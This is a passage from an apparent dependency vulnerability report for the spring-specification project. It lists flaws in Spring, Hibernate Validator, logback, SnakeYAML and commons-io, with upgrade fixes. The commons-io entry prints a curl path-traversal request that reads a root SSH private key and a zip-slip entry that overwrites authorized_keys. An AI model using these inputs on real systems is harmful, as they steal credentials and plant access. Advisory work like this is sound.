- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade org.hibernate.validator:hibernate-validator to version 6.0.18.Final, 6.1.0.Final or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.15.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.15.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long SpEL expression.
Remediation
Upgrade org.springframework:spring-expression to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.
References
medium severity
- Vulnerable module: org.hibernate.validator:hibernate-validator
- Introduced through: org.hibernate.validator:hibernate-validator@6.0.7.Final
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.hibernate.validator:hibernate-validator@6.0.7.FinalRemediation: Upgrade to org.hibernate.validator:hibernate-validator@6.2.0.Final.
Overview
org.hibernate.validator:hibernate-validator is a Hibernate Validator Engine Relocation Artifact.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to the isValid method in the org.hibernate.validator.internal.constraintvalidators.hv.SafeHtmlValidator class, which can be bypassed by omitting the tag ending in a less-than character. Browsers may render invalid HTML, allowing for the injection of arbitrary HTML content or the execution of scripts in the context of the user's browser session by crafting malicious input.
Remediation
Upgrade org.hibernate.validator:hibernate-validator to version 6.2.0 or higher.
References
medium severity
- Vulnerable module: ch.qos.logback:logback-classic
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.3.8.
Overview
ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements via the JaninoEventEvaluator extension. An attacker can execute arbitrary code by compromising an existing logback configuration file or injecting an environment variable before program execution.
Remediation
Upgrade ch.qos.logback:logback-classic to version 1.3.15, 1.5.13 or higher.
References
medium severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.11.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the logback.xml configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.5.19 or higher.
References
medium severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.3.8.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements via the JaninoEventEvaluator extension. An attacker can execute arbitrary code by compromising an existing logback configuration file or injecting an environment variable before program execution.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.3.15, 1.5.13 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.0.1.RELEASE.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Multipart Content Pollution. It provides client-side support for multipart requests. When the server application (server A) receives input from a remote client, and then uses that input to make a multipart request to another server (server B), it can be exposed to an attack, where an extra multipart is inserted in the content of the request from server A, causing server B to use the wrong value for a part it expects. This could to lead privilege escalation, for example, if the part content represents a username or user roles.
Remediation
Upgrade org.springframework:spring-core to version 4.3.14.RELEASE, 5.0.5.RELEASE or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@2.3.0.RELEASE.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). The Alias feature in SnakeYAML 1.18 allows entity expansion during a load operation, a related issue to CVE-2003-1564.
Note While the Maintainer acknowledges the existence of the issue, they believe it should be solved by sanitizing the inputStream to the parser
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.yaml:snakeyaml to version 1.26 or higher.
References
medium severity
- Vulnerable module: commons-io:commons-io
- Introduced through: commons-io:commons-io@2.6
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › commons-io:commons-io@2.6Remediation: Upgrade to commons-io:commons-io@2.7.
Overview
commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.
Affected versions of this package are vulnerable to Directory Traversal via calling the method FileNameUtils.normalize using an improper string like //../foo or \\..\foo, which may allow access to files in the parent directory.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade commons-io:commons-io to version 2.7 or higher.
References
medium severity
- Vulnerable module: org.hibernate.validator:hibernate-validator
- Introduced through: org.hibernate.validator:hibernate-validator@6.0.7.Final
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.hibernate.validator:hibernate-validator@6.0.7.FinalRemediation: Upgrade to org.hibernate.validator:hibernate-validator@6.0.19.Final.
Overview
org.hibernate.validator:hibernate-validator is a Hibernate Validator Engine Relocation Artifact.
Affected versions of this package are vulnerable to Improper Input Validation. A bug in the message interpolation processor enables invalid EL expressions to be evaluated as if they were valid. This flaw allows attackers to bypass input sanitation (escaping, stripping) controls that developers may have put in place when handling user-controlled data in error messages.
Remediation
Upgrade org.hibernate.validator:hibernate-validator to version 6.0.19.Final, 6.1.3.Final or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.14.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.14.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.14.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.14.
Overview
org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.
Affected versions of this package are vulnerable to Denial of Service (DoS) if it relies on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework:spring-beans to version 5.2.22.RELEASE, 5.3.20 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.15.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.15.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a crafted SpEL expression.
Remediation
Upgrade org.springframework:spring-expression to version 5.2.23.RELEASE, 5.3.26, 6.0.7 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-expression
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.11.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) by providing a specially crafted SpEL expression, that might result in an OutOfMemoryError.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework:spring-expression to version 5.2.20.RELEASE, 5.3.17 or higher.
References
medium severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.13.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to Insufficient Hostname Verification. X.509 are not properly validated. By spoofing the TLS/SSL server via a certificate that appears valid, an attacker with the ability to intercept network traffic (e.g. MitM, DNS cache poisoning) can disclose and optionally manipulate transmitted data.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.2.7 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.8.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Improper Input Validation when a user provides malicious input, causing insertion of additional log entries.
Remediation
Upgrade org.springframework:spring-core to version 5.2.19.RELEASE, 5.3.14 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
